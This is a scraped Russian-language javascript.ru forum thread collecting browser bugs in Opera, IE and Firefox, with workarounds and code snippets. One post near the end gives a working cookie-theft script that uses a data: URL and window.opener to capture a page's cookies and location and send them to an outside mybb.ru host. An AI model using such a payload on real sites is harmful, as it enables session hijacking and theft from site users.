Javascript-форум (https://javascript.ru/forum/)
-   Оффтопик (https://javascript.ru/forum/offtopic/)
-   -   FAQ Баги браузеров. (https://javascript.ru/forum/offtopic/33616-faq-bagi-brauzerov.html)

nerv_ 01.12.2012 01:44

Цитата:

Сообщение от Shaci
только, думаю, уже не стоит касаться IE6 и даже IE7

в целом согласен. Эти темы замусолены уже давным давно :) Но если кто-то запостит, я буду не против )

Gozar 02.12.2012 22:41

По просьбе хакира посчу баг оперы 12.00чего-то там.

Сбивается кодировка русского языка при отправке через FormData./способ решения НЕЕЕТ!!!

dmitry111 05.01.2013 06:59

Баг в ie10 и ниже

Если один элемент лежит поверх другого и у верхнего элемента не будет правила background или значение этого правила будет transparent, то нижний элемент будет на одном уровне в верхнем.

Решение :

прописать любой background, можно даже background: rgba(0,0,0,0) для верхнего элемента

devote 05.01.2013 09:44

Цитата:

Сообщение от dmitry111
Во всех браузерах кроме opera выдаст "x". В opera выдаст x и length

а в чем сложность не перебирать свойства localStorage for'ом а тупо юзать как говорит Amphiluke, стандартные методы, например есть метод key()
пример:
localStorage.setItem('ololo', 'my value');

for(var i = 0; i < localStorage.length; i++ ) {
    console.log(localStorage.key(i) + ' = ' + localStorage.getItem(localStorage.key(i)));
}

devote 05.01.2013 09:48

Цитата:

Сообщение от Gozar
Сбивается кодировка русского языка при отправке через FormData./способ решения НЕЕЕТ!!!

пример покажи при каких условиях оно так происходит

cyber 05.01.2013 14:47

есть один забавный баг у ие, если написать так
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
   "http://www.w3.org/TR/html4/loose.dtd">
 
<style type="text/css">
    #a { margin: 0 10px 10px; }
    #b { width: 100%; }
</style>
<table>
    <tr>
        <td>
            <div id="a">
               <form id="b">
               <input type="text" name="test"/>
            </div>
        </td>
        <td width="1">
        </td>
    </tr>
</table>

то ие повеситься как версии не помню (помню что 9 точно), где прочитал уже тоже не помню=)

Gozar 05.01.2013 15:17

Цитата:

Сообщение от devote
пример покажи при каких условиях оно так происходит

При любых условиях. Пример давно отправлен в багрепорт. Это баг и он был исправлен в следующих сборках. Можно сильно не парится, т.к. эта версия была проходная.

Я так понял они её забыли реализовать, поддержку. Как когда-то забыли реализовать поддержку русских названий профилей(логин юзера кирилицей). Из-за чего не работали подключаемые шрифты.

l-liava-l 05.01.2013 20:56

opera 12.01
человечек что-то намудрил (вроде вырубился комп когда опера была в полноэкранном режиме)
Пропала вся навигация.
Вылечил удалением operaprefs.ini (лежит в аппдате)

Deff 06.01.2013 04:21

Хабро идея - браузерная уязвимость FF и Opera

Тырим куки вставленной на сайт ссылкой (Посколь в песочнице топика куков обычно нет, выведется только ссылка
<a id="filt_city" target="_blank" href="http://test083tst.mybb.ru/">Клик</a>

<script type="text/javascript">
var a=document.getElementById('filt_city'),c="scr",
b ="data:text/html, <a>window.name=window.opener.location+','\
+window.opener.document.cookie;window.location='http://test083tst.mybb.ru/'</a>".replace(/a(>)/g,c+'ipt$1');a.href=b;
</script>

dmitry111 06.01.2013 07:39

Цитата:

Сообщение от devote
а в чем сложность не перебирать свойства localStorage for'ом а тупо юзать как говорит Amphiluke, стандартные методы, например есть метод key()

devote, благодарю!


Часовой пояс GMT +3, время: 07:59.